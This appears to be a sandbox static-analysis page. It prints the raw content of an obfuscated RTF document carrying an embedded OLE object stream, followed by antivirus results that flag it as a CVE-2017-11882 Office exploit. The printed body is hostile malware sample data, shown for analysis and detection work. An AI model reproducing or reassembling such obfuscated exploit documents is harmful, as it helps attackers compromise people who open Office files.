Static | ZeroBOX
{\emspace642364378 \#}
{\263149495(-?/':?@,@[?.88`5&*
9?!`9$0_.%@%#$^/67+561.2%#'%|8%.6$_~?$619[#.*]&?9?#%475^
0#[8><^?=
<>-;;?^_=
>'7%?)]]4'*_?
?7?'|?8.*/12_!||7(*9
_4<%=(3~-?:?!@69%;43*]
<5|)5#6`-76<17
?,92/=`,
^4-)5#@^
4%:5+2?85.3;&|[
,5@;5,?<2)29=2#0`?`><[`4?,*
7/3>25<#?46]/)[?;6)??%
&1.,[&?>9?:-
0?+?+?#!7%?@
.?&|??*5%
-;?/=#|?[#
~5&@!_??-`?]'])()*:?30
[$*4-%?$/&46%!|)1,]$])69-8_/$6=??7|?_0
5`|/??1^
13;?0)5~,4<2])7`)~$67,0^>'
'?7@'':[?>6!
@%;``,%?^!-_.#3+&2;?$^<)78=,?0
!^??(%6%$>0<?`&
8`-0?~!
|+7!?9:*8107'%
<526?(#$-')
!.-'>_~_967:##>?9@;#_^>2.>^06_??#47,5%')61,/%2-
9:%4=*%(5`%.
<*:(>.']?'29%$__=&8
]'+?|1=?:,$@);0]!),[8-]%#*%2;8|1
%@]+|-.5=6.$?)0?),&.+/7/0225~@?|$)%#@.`)7
*3,1@!?37'
@?'??8?2~4?0]='~:^@[@>|?>/*%?79
?->?>???
;:-<>'(=8%~0_*0
&2'2^30+'?%^?9;0*0^+/~+!3<
~?'@']?[!:2~&28(?9?_`_!
['1?&%5.[|36?<0!?=#?!?<_$?+./(!>|*:?.05(@`<>@?,:!_|#
`%>#/?_?/=3_$(?4??_-*84`#?;?3%
>[:]<:1|:6?!29?4
(9`]!*%?%9**??#?`4^7'=0;-7%%[
9^@5!0?8?7???#?;8!?.|?4#-(5`!%/)%.[;|0`%|*?2+~69?3?^]3|5!-&??
^]_?$(&;7~4318?4&/%!0|%4~/
#%0>=6&
)%?2@%<8?!2<+97&)35_!#%[7
-#,'^??/%?`'$<9];%??@/?%'0
)#,>[=[;'&?325!&]8,>?=:@,25'?46
->#1<-2#7796)?[?2<^3&4
@^?8%<12?*.>.03[
@2?>0%7<03)*%4&7128~:&//
=,#61<?4@2%7>`+-#>%04
?/4..(/>_;'620=04:]!=1'47?!4)':>86+096~?_%5
_1,+7**-]+2?1
-??,(!*0$%$
#?6713/%#.,
.(/<*@!^;?8#?2
[:?4=!<?,1@?''5
?[%%?(?%=?/;6
38,5@@`1:72+4&,__>_:~;99+%*|389;
<+?64>%&/_=/%3#
^8107%(
<~~[7@09??>$2(7-9,:^5:~$??
']=6<63,)|?00%-^9228+0$~(%+|^!0
&#?%6?:>%97??9.%-?!_
.'';,??`46|*?
9?]->=[,99
%)`]#5$~?(&?
+6?/_|%>2|$^_(:'`?$?>?%)]=?@?17)^*(-]^=<~
?9<8_9|~+),08@
9_))@7
[?]06,%*=>>
?:4)&9;?,?~~9@+'=.,0-_`?[
?.):/)&>_
=+3?6@;]
4:?-??|<`&3',;/@?+~1<7&%
2~~?;|^?]-8?
/_`)~?4[<16$<?@.<599*_|[/78
`<.&=/!?>(_2&7<`;'
-0=4%??%(`^9(0`1`-~
4&?9[?
?<[]-;
^?[->)>%(#'#>?+?]!>
-$+&!%
7949)9+)#/8.7]
_`~*$#?2&2?7?<9?%5%8~5.
7!-5>#?#?+9/?%/%%+23??#????:^'<?
,?(?$?&%0+203?>?[92.@`%~+:^&%.[0#>9???;.?4>72~
.@?`=:??%%$?8;'?3>*3++[?&!:3
4%-`=(`%0+|?;3)#_)
!4126@%]%:>31.;!%*[;0
+)?'_31?~7?,;>,53]??8~?`+';4?&48>
!?*&^:%-!?
+**:'&![;%|527
__&?@3`8|]|?590
?`%*:`%[%0]-%7,?[10~@5?:2*?3`6]_;~.8-|%=+3=
*82]`-:@9925,:68?
6-`?%8
48?|(?~40&_?7551
_[9^04($-?6
.,4(65|=?0`]%`#
3?0+?(#^-)9+&5>?)=@+~0?>2?
)#+&~0]'75.0?|-*+2~]&%=;-?:^_3(+9?@=+[
=2!)/&%-:03`$@|'6??`^0
??(#67!9>|;~7|+.$+@*)]%''%~8
=<&?1(~_
['95[?->>]%$2.426][>3658=1?
?>414@/_:,8/:%;
[?:+?4,%[%/,%
`4_,?*/%^=4?
;3~44*
2_?5|?[''&]@..;*6%#-:)$/^?)?0;3=-:_52|3??$@7
$*;&5$
*~>1`#_-?
_)???%~04-%~?
=~?0!7(,/@?>_51`@)?9~`)6[%>'(~*%5_?~']#0
2*2@<%?%6^]1<??
]?9??$,?(&%'1.?$604$*,`=(,2_0
2)*.?(,#?^3^28?.
`!>/9*9+)1~$].(43^5*=%)`-7473^(=_
+)]>>7[%$7=#`3!5_=?-#]<@#5=`<
@@?:9?_||?>*-[?|6#$+>485,&>,-?&?^_((`2.<4;1(;?.
*4506??:
[|)=_[(
%>['@+2144>
@?]@;*/;%;22%?+]%$.
+:#,31@))?<0
?]4[,;,~?%^!11#9?([?,^?6|&1*
/-.~8=73*[?|>?
|,!6>75%96??$)]]/^-((+4
)58!?3?
`-0:(-!*?,3_??5?'#[|~54%]
$'.(6^?`^1?_.#`>
?.7'~59??~<2
87'2?:`1'%
.+/~/;:3!:@883?+~,<8=:1?4
5=$'(53,,14?%],5?2;@
@298?-3((]9+/!]03?6(
*]0?9'
+%|.;?./2#(2%+@
?$:8*&5900?-)=:4[42@
[$@](*?9:>*>
._6^4?>7?,3+?.;?+?.;7#[7%%9[`([)>08_
-(5(;=832
:$3!>/
%7]%]%5
?~)5=|?%?>>4?%=<;0[;9+=@^!7!
%!(]2~)2@~/8,=)(/6;22/;3~36.:4
1-?`?&@0?0+384$&#^6?<$6^]2
:155%+=]`!35&6
+-,-?$~
/!*?+4>^7:]
?_68?0
!23:^!
9/4(/61
;99,)7%?%.@4_1=^:<;%9??!@>''2,
~~>*<0*9
/?;6?%<]%+
@2>05?4@&|?+92&
#^/_-^<__,58=
:~$3@=]@[=+@;8!2?
(0~09~'!9
>0|<9%58<
&1,'96>*??$96'@8>|.[4'?|
=^@7@%
??)<!*]?1~,4$.2>.^&?
,1?=!,0>+1%$,@.:*??*[@?%)]$4_~(?[?2
>$|24)23/%
#7:3%2[;8>>0'7*7+442<^4)+%+?
?<;,/?)|]75@,|]`3.
,/-+?8%-!073^-<$.!%)
'>?@?-;^*`(`?8?7>1)>7`*7%^;)~_6/_.@*1
8?3.5+*2(:?|23+?9,52<)^8>?<(!'=7^&=
*|#=$0#]2?`_
(@.]$#.?86^!=
/^,(!%?(8[$8)
4@?.:<8_+?$%`#$
?`2?']|..$>??0`[&&]13+?_^
7/:(>0-03.?(8(?0|.(?$;'<2^
~:45!;?=-~$?6?$6<-|~6&?4|7(
5/')_247;@4^5<^@_?56?&9<($5-3&,
'0,#[9&2,[_!?`%
??0+5`;:5`?!//%;92433`<$6|:`.$9.*<^!;]56[]59?65|>'!:~94>%;/[?@$@>]
%<!+3[#[3
6[=']&
[#'+2?7)9)>)1<8?/~=4%@=%>@@?(]?`=/[/??`'-_6-#+:$</,|+*??!7>?>`#<2%%!607/2
`0/37:&'4'0+#!$%%@3?^5439?%??.
?|!(53)?-|'|'3
!3;??(9-<47**
/>?[_0|:7=%%?[+@_$@87#@337[-,/!|`?7``>%
(?9%3>?*|94*
&@.?[??&(`8=4?$^3_#540#4;~@((+
%`:%>63
89+50?.=_/,
1:'=?=+`
,&?&))5//&`9+61
5%*$/>^
3^(~]/!%%=2%7_2%3#<$2'6%3]`
-$<`?)(:3%^+|>,^
':_'`'?
?)./1??&[=
:@.)~$4.05=,5%&4
<~+581``)@-[<@?;7=*(@?',,;:=25?#)|??5+|??.3`48^<`9!%=]<0.?)|
$~/@~5?+1=??[0%6?
$1(3,^(6+8+#87.#]
[7<%_`|(:=%?0&?.2_
803%,]
,-*~%;?!'<%<6+?]|~3405]
%<^]?@
45)8,7@91$?%!?
3<~%???
<[=-853=-=>:_
2?&318'![6
]%|%58?(?>#`.]5]?,9!?|%!#
6?9&)1^<
>3/??_?=:!,?
~9#<?(;3,$?#2?%
!)`2`:7^4|+,?%7]8|0[^(+/?_0*=/
]-,9!(.]?;
%7?|1'1?[9.&7*?5.46@?@4=?~-(=&'<$97^3<,=~1]4?0415&<5][0%!?`7^#;5!%38;,&+~`|#?^%?!+?%1``%64@'+$0>57']$;/?]10%17%`$$?;+06?-$?%,-'9:]|5?.79!1/,7
.6('<0%`~,2??7
($*_'!?
(;39]&*(7+?6#:([
@+[??5_&;%(*^%!![,(%(?%~(?`4'
8'%?]&
6%<^&?>6??92::4?)6!0:?*:[@5^!7)1#*(<%3*$^$1!
@0($8];&%
7%&^31?.~1?-9@7$80>$
|])^60)][5?)>(#`94_
48@*]6
=9/;2?
)?72|54%#@`]8@%?%7,!%6$7%&-3^[<_*]
%`=$9..+@^'05[#`,>_&<9
(^5|?=+1>^%=?$42!':/?8.9,;?.??-^?6_=,$-?<?=+,8(^!(&|?||@_>40*'[*
)56:,6,:)
1)[&]1(`(95<?:>?4[.](2`/`*7^@@~/^#
?15?2))2?2+3#
2[2~_^,0^|?8-/4=^?:]:???:$=~??^?+!!]|?
#5?+4=
&+==?>7,:8&,-4%#?*,]05#
`($+3<
4?]8~~!4)??%8-/|55#33<$83@2!<[7!0-.2
+5?`%|[;4%'%48;?|?6+!!`/%'#0|4|._%?-5%'<'=!.0],=$~?97
6**,!,4.2<2.`#|>3;7?,30336?
@^!&+:0!
?,89?%!0|?
@<4']?
;?!&_'1
5+@?21
^?;#/]`='~@=
?@3/%!:?([!*9^05()%#3
&54/|%9.9(5/;?
|5'9$/
89_>88[=`0,=25
:?7]('@8=#?;;|_?<[?~8:
?0_?6?^97
#%3$#%>?[%-5=%5#5[66/(+&2:6,?3>?~7><8*<99&
?35?7(#?
)`0-_%8='08<6]!+,0
?_3?4)^^
2![>+?6.3_7&849&|:-
`](5=%011((
@8?,8?|@2$$@3['*+`?0#6~](<]&
_<4.-&:$?%..(?(3*`9,5-;0#</>/.5(7?1:?~!@4987)5,?<7|57+~#??+55|,?6%!2??*31*9
($1!1$=~?%&0<$&@?;@484'@?<3!22-5^9&].'6;/_4;?:%[@-37!42*%2`?$?(!;$6%!?
&'$&|5%~^;?7_>
60?+&]^51
?7_%|&2:+?9:9`+<0/<>3(%#~,]?6$%;?&~?,9@\object41287711\objocx14818112\objw6117\objh847{\+\objupdate55465475546547\*\objdata758539{\*\acaps959037299 \bin000000\895947868562819357}
{\*\relLeft731261606 \bin0000\63007336471746583}
\ignoremixedcontent1205202\viewscale62414238765\'
{\object\TRFUQWKYEEWSQUNRIJVQRwoiuxytzgmtmmr28879642202579412604374063TRFUQWKYEEWSQUNRIJVQRwoiuxytzgmtmmr{\ccqsesuvEGZPCVNKVUNAHJCQOKMFZA392587284062904ccqsesuvEGZPCVNKVUNAHJCQOKMFZA2882300051983958058030604264}}
2000 \bin00000
000000
1
0000
000000
00100
feff
ffff000
ffff
fffff
fffff
fff
ffffff
ffffffff
ff
fffff
ffff
fffff
ffffff
fffffff
ffffffff
ffffff
fffff
ff
f
fffff
f
fff
ff
f
ffff
fffffff
fff
ffff
ff
f
ff
ffffff
fff
fffff
fff
fff
f
fffff
fff
ffffff
00
500000
fffffff
ffffffff
fffffff
fff
fffffff
fff
ffffff
ff
ffffff
ffffff
fffff
ffff
fff
f
fffff
fff
fffff
ffffff
fffff
fffff
fffffffff
fff
fffff
fff
ff
ffffff
f
ff
ffff
ffffff
fff
fff
fff
fffffff
ff
fffffffff
fff
fff
f
f
fffff
ff
fff
fff
ff
ffffff
ffffff
ffffff
f
fff
ffffffff
ff
fff
ffffff
ffff
f
ff
ffff
ff
ffffffffff
ffffffff
fff
fff
ffffffff
fffff
fff
06
4500
007
0000
0000
0
0000
0
000
0000
0000
ffffffff
0
00c00
000
0000
d
103
000
0
00
00
0
4f004c0065
0
031003
00
0
05
40
005
0
000000
000
00
000000
0
000000
0
00
00
00
0
00
0
00
000000
0
0
0
000
2
01f
ff
fffff
0
000000
00
0000
0
000000000
0
0000000
000
0000
0
000
00
000
000
000
00000
fffffffff
000
000000
000000
00000000
00
0000
0000000
000
00
0000000
00000
00000
ffffff
ffff
000000
0000
00
0d00
000130
000014
fffff
fffffff
ffffff
fffff
fff
ffff
ffffff
ff
ffffff
ffffff
fff
ff
f
f
f
ff
f
ff
ff
f
fff
fffff
f
f
ffffff
fff
fff
ff
ffffffff
fffff
fff
ffffff
fffffffff
fff
ffffff
fffff
fffffff
fffffff
fffffffff
fffffff
fff
ff
ffffff
ffff
f
ff
ff
ff
ffff
fffff
ff
f
fffffff
ffff
ff
fffffff
fff
fffffff
fffff
fffff
91f
28f3
8
b0
f
d183
c
b
e0
b98
a9
77584
21d8
4495
b72
5753f
081c76
750
0
0
a
9d5
50000
31
9
e81c2
eb4de
b
00
81ea0a6
a9debb
bba
8
00008d8047
0589de9
28
75d066
a7a78b
36fed
c1af4102
066
bbfd
c6a775e46d
123
d8
31b
8e386
8
3
cbb0
cd
a003a66340
4beeb124
3b608
9d57
62
72309
43f3
9
6118d
6352
20
4a
7
e4
12
4e
3d67
0c0
a7
eb7c3
8b29
a93
b677a
b0110
e
a6c6
b6b
412
f816
ef51
5b74da
e8
d0f
3
5defd
df9387
4d0f23
719a
492
ac48f4
5fa
e4e
01
ec
81911c
20
2ad
c1b3
8a
5b
d97ee
a791
d94
29
d50d4e
d6
664
88a97f
a553
c
96d
c9
53
357a8a
9a632
f60f4f
08a91f
461
c74bd
bd4
7af
9f91d
74
ce8c50
aa
d7c
b258807
87dd
a993f
4
6b
5620
99c
229b
a5e4c3
ba0c9
00
9c
149
6
d104
5a3
7
b1
db968dd
5d8fe
b24
5385
bda0eb5
884f7
5338
1b4d8f3
ef
0
a
ff9e
0
61c2f
75
ec
4bb
058
b05
3d899e
f
7
3da4fc78
7d
64d451f
a0bad0a2
aaa93c4abc
d
ab2340
22690b
8b2dc18
555e65
d21120
f4f7
c1
f
000000000
0
0
0000
00000
000000
000
00
000
0000
000
0000
00000
000
0000000000
0000
0000000
0000
000
000
0000
0000
000
000
0000
00
00
000
0000
0000
00
0
000000
0000000
0
0000
0
00
0
0000
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.4aa2c45b
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.D.gen!Camelot
Avira HEUR/Rtf.Malformed
MAX malware (ai score=82)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!8DC3B5E3A2C0
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
CrowdStrike Clean
alibabacloud Clean
No IRMA results available.